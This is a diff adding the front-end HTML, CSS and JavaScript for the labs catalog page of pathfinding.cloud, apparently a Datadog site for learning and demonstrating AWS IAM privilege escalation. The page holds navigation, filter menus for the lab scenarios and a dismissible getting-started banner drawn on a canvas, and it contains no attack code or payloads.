+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="3" y1="12" x2="21" y2="12"/>
+                        <line x1="3" y1="6" x2="21" y2="6"/>
+                        <line x1="3" y1="18" x2="21" y2="18"/>
+                    </svg>
+                </button>
+                <div class="site-branding">
+                    <a href="/" class="site-name">PATHFINDING.CLOUD</a>
+                    <div class="site-tagline">Understand, Detect &amp; Demonstrate AWS IAM Privilege Escalation</div>
+                </div>
+            </div>
+            <nav class="header-center">
+                <a href="/" class="nav-link">Home</a>
+                <div class="nav-dropdown">
+                    <a href="/paths/" class="nav-link">Paths</a>
+                    <div class="dropdown-content">
+                        <a href="/paths/">Attack Paths</a>
+                        <a href="/paths/stats/">Statistics</a>
+                    </div>
+                </div>
+                <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
+            </nav>
+            <div class="header-right">
+                <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
+                    <img src="/images/datadog-logo-white.png" alt="Datadog Logo" class="header-logo datadog-logo-white" style="filter: brightness(0) invert(1);">
+                    <img src="/images/datadog-logo-purple.png" alt="Datadog Logo" class="header-logo datadog-logo-purple" style="filter: brightness(0) saturate(100%); display: none;">
+                    <span class="icon-label">Datadog Security Labs</span>
+                </a>
+                <button id="theme-toggle" class="theme-toggle" aria-label="Toggle theme">
+                    <svg class="sun-icon" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <circle cx="12" cy="12" r="5"/>
+                        <line x1="12" y1="1" x2="12" y2="3"/>
+                        <line x1="12" y1="21" x2="12" y2="23"/>
+                        <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/>
+                        <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/>
+                        <line x1="1" y1="12" x2="3" y2="12"/>
+                        <line x1="21" y1="12" x2="23" y2="12"/>
+                        <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/>
+                        <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/>
+                    </svg>
+                    <svg class="moon-icon" width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
+                        <path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"/>
+                    </svg>
+                    <span class="icon-label">Toggle Theme</span>
+                </button>
+                <a href="https://github.com/DataDog/pathfinding.cloud" target="_blank" class="github-link" aria-label="View on GitHub">
+                    <svg width="24" height="24" viewBox="0 0 16 16" fill="currentColor">
+                        <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"/>
+                    </svg>
+                    <span class="icon-label">View on GitHub</span>
+                </a>
+            </div>
+        </div>
+    </header>
+
+    <!-- Mobile Menu Overlay -->
+    <div id="mobile-menu-overlay" class="mobile-menu-overlay">
+        <div class="mobile-menu">
+            <div class="mobile-menu-header">
+                <span>Menu</span>
+                <button id="mobile-menu-close" class="mobile-menu-close" aria-label="Close mobile menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="18" y1="6" x2="6" y2="18"/>
+                        <line x1="6" y1="6" x2="18" y2="18"/>
+                    </svg>
+                </button>
+            </div>
+            <nav class="mobile-menu-nav">
+                <a href="/" class="mobile-nav-link">Home</a>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Paths</span>
+                    <a href="/paths/" class="mobile-nav-link mobile-nav-child">Attack Paths</a>
+                    <a href="/paths/stats/" class="mobile-nav-link mobile-nav-child">Statistics</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Labs</span>
+                    <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
+                    <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
+            </nav>
+        </div>
+    </div>
+
+    <aside class="site-sidebar" id="site-sidebar">
+        <nav class="sidebar-nav">
+            <a href="/" class="sidebar-item" data-tooltip="Home">
+                <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>
+                <span class="sidebar-label">Home</span>
+            </a>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-paths">
+                <button class="sidebar-group-toggle" data-tooltip="Paths">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
+                    <span class="sidebar-label">Paths</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/paths/" class="sidebar-item sidebar-child" data-tooltip="Attack Paths">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><circle cx="12" cy="12" r="3"/><line x1="12" y1="2" x2="12" y2="5"/><line x1="12" y1="19" x2="12" y2="22"/><line x1="2" y1="12" x2="5" y2="12"/><line x1="19" y1="12" x2="22" y2="12"/></svg>
+                        <span class="sidebar-label">Attack Paths</span>
+                    </a>
+                    <a href="/paths/stats/" class="sidebar-item sidebar-child" data-tooltip="Statistics">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="20" x2="18" y2="10"/><line x1="12" y1="20" x2="12" y2="4"/><line x1="6" y1="20" x2="6" y2="14"/><line x1="2" y1="20" x2="22" y2="20"/></svg>
+                        <span class="sidebar-label">Statistics</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-labs">
+                <button class="sidebar-group-toggle" data-tooltip="Labs">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10 2v7.31l-4.76 9.54A2 2 0 0 0 7 22h10a2 2 0 0 0 1.76-2.95L14 9.31V2"/><line x1="8.5" y1="2" x2="15.5" y2="2"/></svg>
+                    <span class="sidebar-label">Labs</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/labs/" class="sidebar-item sidebar-child" data-tooltip="Labs Catalog">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Labs Catalog</span>
+                    </a>
+                    <a href="/labs/getting-started/" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
+        </nav>
+
+        <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
+            <svg class="sidebar-icon collapse-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
+            <span class="sidebar-label">Collapse</span>
+        </button>
+    </aside>
+
+    <div class="page-body">
+    <style>
+        /* Fix header overflow to allow dropdown to show */
+        header {
+            overflow: visible !important;
+        }
+
+        /* Dropdown menu styles */
+        .nav-dropdown {
+            position: relative;
+            display: flex;
+            align-items: center;
+        }
+
+        .nav-dropdown .dropdown-content {
+            display: none;
+            position: absolute;
+            top: 100%;
+            left: 0;
+            background: var(--card-background);
+            min-width: 180px;
+            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3);
+            border-radius: 8px;
+            z-index: 9999;
+            border: 2px solid var(--border-color);
+            padding-top: 12px;
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content::before {
+            content: '';
+            position: absolute;
+            top: 0;
+            left: 0;
+            right: 0;
+            height: 12px;
+            background: transparent;
+        }
+
+        .nav-dropdown .dropdown-content a {
+            color: var(--text-primary);
+            padding: 8px 16px;
+            text-decoration: none;
+            display: block;
+            transition: all 0.2s;
+            border-radius: 6px;
+            margin: 2px 4px;
+            position: relative;
+        }
+
+        .nav-dropdown .dropdown-content a:first-child {
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content a:hover {
+            background: var(--accent-purple);
+            color: white;
+            transform: translateX(4px);
+        }
+
+        .nav-dropdown .dropdown-content a.active {
+            color: var(--accent-color);
+            font-weight: 500;
+        }
+
+        .nav-dropdown .dropdown-content a.active::before {
+            content: '';
+            position: absolute;
+            left: 4px;
+            top: 50%;
+            transform: translateY(-50%);
+            width: 4px;
+            height: 4px;
+            background: var(--accent-color);
+            border-radius: 50%;
+        }
+
+        .nav-dropdown:hover .dropdown-content {
+            display: block;
+        }
+
+        .nav-dropdown:hover > .nav-link {
+            color: var(--accent-color);
+        }
+
+        /* Show white logo in dark mode, purple logo in light mode */
+        .datadog-logo-white {
+            display: block;
+        }
+
+        .datadog-logo-purple {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-white {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-purple {
+            display: block !important;
+        }
+    </style>
+
+    <nav class="container">
+        <div class="search-bar-container">
+            <div class="search-bar">
+                <input type="text" id="search" placeholder="Search labs by name, permission, or description...">
+            </div>
+            <div class="paths-count-display">
+                Showing <span id="filtered-labs-count">0</span> of <span id="total-labs-count">0</span> labs
+            </div>
+            <div class="filter-group view-toggle">
+                <label>View:</label>
+                <button id="view-cards" class="view-button active">Cards</button>
+                <button id="view-table" class="view-button">Table</button>
+            </div>
+        </div>
+        <div class="filters">
+            <!-- Category -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-category-filter">
+                <button class="filter-pill" data-filter="category-filter" type="button"><span class="filter-pill-key">Category</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-category-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
+                    <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
+                    <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
+                </div>
+                <select id="category-filter" hidden>
+                    <option value="">All Categories</option>
+                    <option value="Privilege Escalation">Privilege Escalation</option>
+                    <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
+                    <option value="CSPM: Toxic Combination">Toxic Combination</option>
+                </select>
+            </div>
+
+            <!-- Path Type -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-path-type-filter">
+                <button class="filter-pill" data-filter="path-type-filter" type="button"><span class="filter-pill-key">Type</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-path-type-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="self-escalation">Self-Escalation</div>
+                    <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
+                    <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
+                    <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
+                </div>
+                <select id="path-type-filter" hidden>
+                    <option value="">All Types</option>
+                    <option value="self-escalation">Self-Escalation</option>
+                    <option value="one-hop">One-Hop</option>
+                    <option value="multi-hop">Multi-Hop</option>
+                    <option value="cross-account">Cross-Account</option>
+                </select>
+            </div>
+
+            <!-- Cost -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-cost-filter">
+                <button class="filter-pill" data-filter="cost-filter" type="button"><span class="filter-pill-key">Cost</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-cost-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="free">Free</div>
+                    <div class="filter-pill-item" data-value="paid">Paid</div>
+                </div>
+                <select id="cost-filter" hidden>
+                    <option value="">All</option>
+                    <option value="free">Free</option>
+                    <option value="paid">Paid</option>
+                </select>
+            </div>
+
+            <!-- Hops (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-hops-filter">
+                <button class="filter-pill" data-filter="hops-filter" type="button"><span class="filter-pill-key">Hops</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-hops-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="hops-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Service (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-service-filter">
+                <button class="filter-pill" data-filter="service-filter" type="button"><span class="filter-pill-key">Service</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-service-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="service-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Online Play -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-online-filter">
+                <button class="filter-pill" data-filter="online-filter" type="button"><span class="filter-pill-key">Online Play</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-online-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="yes">Yes</div>
+                    <div class="filter-pill-item" data-value="no">No</div>
+                </div>
+                <select id="online-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="yes">Yes</option>
+                    <option value="no">No</option>
+                </select>
+            </div>
+
+            <!-- Start -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-start-filter">
+                <button class="filter-pill" data-filter="start-filter" type="button"><span class="filter-pill-key">Start</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-start-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-credentials">Credentials</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-network">Network (assumed)</div>
+                    <div class="filter-pill-item" data-value="public-network">Network (public)</div>
+                </div>
+                <select id="start-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="assumed-breach-credentials">Credentials</option>
+                    <option value="assumed-breach-network">Network (assumed)</option>
+                    <option value="public-network">Network (public)</option>
+                </select>
+            </div>
+
+            <!-- Target -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-target-filter">
+                <button class="filter-pill" data-filter="target-filter" type="button"><span class="filter-pill-key">Target</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-target-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="to-admin">Admin</div>
+                    <div class="filter-pill-item" data-value="to-bucket">Bucket</div>
+                </div>
+                <select id="target-filter" hidden>
+                    <option value="">All Targets</option>
+                    <option value="to-admin">Admin</option>
+                    <option value="to-bucket">Bucket</option>
+                </select>
+            </div>
+
+            <button id="reset-filters" class="filter-reset-btn" type="button">Reset</button>
+        </div>
+    </nav>
+
+    <style>
+        /* ── Getting Started CTA banner ── */
+        .gs-cta-banner {
+            display: none; /* shown by JS only if not dismissed */
+            position: relative;
+            border-radius: 12px;
+            border: 1px solid var(--border-color);
+            overflow: hidden;
+            margin-bottom: 20px;
+            background: var(--card-background);
+            transition: border-color 0.15s;
+        }
+        .gs-cta-banner:hover {
+            border-color: var(--accent-color);
+        }
+        .gs-cta-content-link {
+            display: grid;
+            grid-template-columns: 500px 1fr;
+            text-decoration: none;
+            color: inherit;
+        }
+        .gs-cta-text {
+            padding: 22px 52px 22px 24px; /* right pad leaves room for dismiss btn */
+            display: flex;
+            flex-direction: column;
+            justify-content: center;
+            gap: 5px;
+        }
+        .gs-cta-eyebrow {
+            font-size: 0.88rem;
+            font-weight: 700;
+            text-transform: uppercase;
+            letter-spacing: 0.1em;
+            color: var(--accent-color);
+        }
+        .gs-cta-title {
+            font-size: 1.05rem;
+            font-weight: 700;
+            color: var(--text-primary);
+            line-height: 1.2;
+        }
+        .gs-cta-desc {
+            font-size: 0.85rem;
+            color: var(--text-secondary);
+            line-height: 1.55;
+            max-width: 480px;
+        }
+        .gs-cta-action {
+            margin-top: 4px;
+            font-size: 0.82rem;
+            font-weight: 600;
+            color: var(--accent-color);
+            display: flex;
+            align-items: center;
+            gap: 5px;
+        }
+        .gs-cta-visual {
+            position: relative;
+            overflow: hidden;
+            height: 200px;
+            align-self: start;
+            border-left: 1px solid var(--border-color);
+            transition: border-left-color 0.15s;
+        }
+        .gs-cta-banner:hover .gs-cta-visual {
+            border-left-color: var(--accent-color);
+        }
+        .gs-cta-visual canvas {
+            display: block;
+            width: 100%;
+            height: 100%;
+        }
+        .gs-cta-dismiss {
+            position: absolute;
+            top: 10px;
+            right: 10px;
+            width: 26px;
+            height: 26px;
+            border-radius: 50%;
+            border: 1px solid var(--border-color);
+            background: var(--card-background);
+            color: var(--text-muted);
+            cursor: pointer;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 1rem;
+            line-height: 1;
+            transition: background 0.15s, color 0.15s, border-color 0.15s;
+            z-index: 10;
+        }
+        .gs-cta-dismiss:hover {
+            background: var(--background-elevated);
+            color: var(--text-primary);
+            border-color: var(--text-muted);
+        }
+        @media (max-width: 640px) {
+            .gs-cta-content-link {
+                grid-template-columns: 1fr;
+            }
+            .gs-cta-visual { display: none; }
+        }
+    </style>
+
+    <main class="container">
+        <!-- List View -->
+        <div id="list-view">
+
+            <!-- Getting Started CTA (dismissed via localStorage) -->
+            <div id="gs-cta-banner" class="gs-cta-banner">
+                <a href="/labs/getting-started/" class="gs-cta-content-link">
+                    <div class="gs-cta-text">
+                        <div class="gs-cta-eyebrow">New here?</div>
+                        <div class="gs-cta-desc">The getting started guide covers AWS account prerequisites and setup, plabs binary installation and configuration, and suggests the first six labs — chosen to help you build a working mental model of AWS IAM privilege escalation before you explore the full catalog.</div>
+                        <div class="gs-cta-action">
+                            View the guide
+                            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/></svg>
+                        </div>
+                    </div>
+                    <div class="gs-cta-visual">
+                        <canvas id="gs-cta-canvas" aria-label="Interactive attack path map preview"></canvas>
+                    </div>
+                </a>
+                <button class="gs-cta-dismiss" id="gs-cta-dismiss" aria-label="Dismiss getting started banner">
+                    <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg>
+                </button>
+            </div>
+
+            <div id="labs-container" class="paths-table-container">
+                <div class="loading">Loading lab scenarios...</div>
+            </div>
+        </div>
+
+        <!-- Detail View -->
+        <div id="detail-view" style="display: none;">
+            <div id="detail-content"></div>
+        </div>
+    </main>
+
+    <footer>
+        <div class="container">
+            <div class="footer-content">
+                <div class="footer-section">
+                    <p class="footer-curator">
+                        Created and curated by <a href="https://www.linkedin.com/in/sethart/" target="_blank" rel="noopener noreferrer">Seth Art</a> at <a href="https://securitylabs.datadoghq.com" target="_blank" rel="noopener noreferrer">Datadog</a>
+                    </p>
+                </div>
+                <div class="footer-section footer-links">
+                    <a href="https://github.com/DataDog/pathfinding-labs" target="_blank" rel="noopener noreferrer">pathfinding-labs on GitHub</a>
+                    <span class="footer-separator">&bull;</span>
+                    <a href="https://github.com/DataDog/pathfinding.cloud/issues" target="_blank" rel="noopener noreferrer">Report an Issue</a>
+                </div>
+            </div>
+        </div>
+    </footer>
+
+    <script type="text/javascript" src="https://unpkg.com/vis-network/standalone/umd/vis-network.min.js"></script>
+    <script src="/js/viz-shared.js?v=1"></script>
+    <script src="/js/labs.js?v=5"></script>
+    <script src="/js/map-game.js?v=2"></script>
+    </div><!-- /.page-body -->
+    <script src="/js/sidebar.js?v=1"></script>
+    <script>
+        (function () {
+            const banner = document.getElementById('gs-cta-banner');
+            const dismissBtn = document.getElementById('gs-cta-dismiss');
+            if (!banner || !dismissBtn) return;
+            if (localStorage.getItem('gsCtaDismissed') !== '1') {
+                banner.style.display = 'block';
+            }
+            dismissBtn.addEventListener('click', function (e) {
+                e.preventDefault();
+                e.stopPropagation();
+                localStorage.setItem('gsCtaDismissed', '1');
+                banner.style.display = 'none';
+            });
+        }());
+
+        // Live canvas banner -- "Getting Started" in the game's gold capcom font
+        // on the ocean-gradient background. No islands, no clouds.
+        (function () {
+            const canvas = document.getElementById('gs-cta-canvas');
+            if (!canvas) return;
+            const visual = canvas.closest('.gs-cta-visual');
+            if (!visual) return;
+
+            function renderBanner() {
+                const rect = visual.getBoundingClientRect();
+                const w = Math.round(rect.width);
+                const h = Math.round(rect.height);
+                if (w < 10 || h < 10) return;
+
+                const dpr = window.devicePixelRatio || 1;
+                canvas.width = w * dpr;
+                canvas.height = h * dpr;
+                canvas.style.width = w + 'px';
+                canvas.style.height = h + 'px';
+
+                const ctx = canvas.getContext('2d');
+                ctx.scale(dpr, dpr);
+
+                // Ocean gradient background (same as the game map)
+                const p = getMapPalette();
+                const bg = ctx.createLinearGradient(0, 0, 0, h);
+                bg.addColorStop(0,   p.oceanA);
+                bg.addColorStop(0.6, p.oceanB);
+                bg.addColorStop(1,   p.oceanDeep);
+                ctx.fillStyle = bg;
+                ctx.fillRect(0, 0, w, h);
+
+                // Dark gradient scrim from the top (matches variant-5 game map)
+                const isLight = document.documentElement.classList.contains('light-theme');
+                const scrim = ctx.createLinearGradient(0, 0, 0, h);
+                scrim.addColorStop(0,   isLight ? 'rgba(0,0,0,0.82)' : 'rgba(0,0,0,0.92)');
+                scrim.addColorStop(0.6, isLight ? 'rgba(0,0,0,0.40)' : 'rgba(0,0,0,0.50)');
+                scrim.addColorStop(1,   'rgba(0,0,0,0)');
+                ctx.fillStyle = scrim;
+                ctx.fillRect(0, 0, w, h);
+
+                // Scale the heading so "GETTING STARTED" fills 80% of canvas width.
+                // Measure at the reference LAB_SIZE (26px at scale=1) to get the ratio.
+                const REF_SIZE = 26;
+                ctx.font = `900 ${REF_SIZE}px -apple-system, BlinkMacSystemFont, sans-serif`;
+                ctx.letterSpacing = '0.04em';
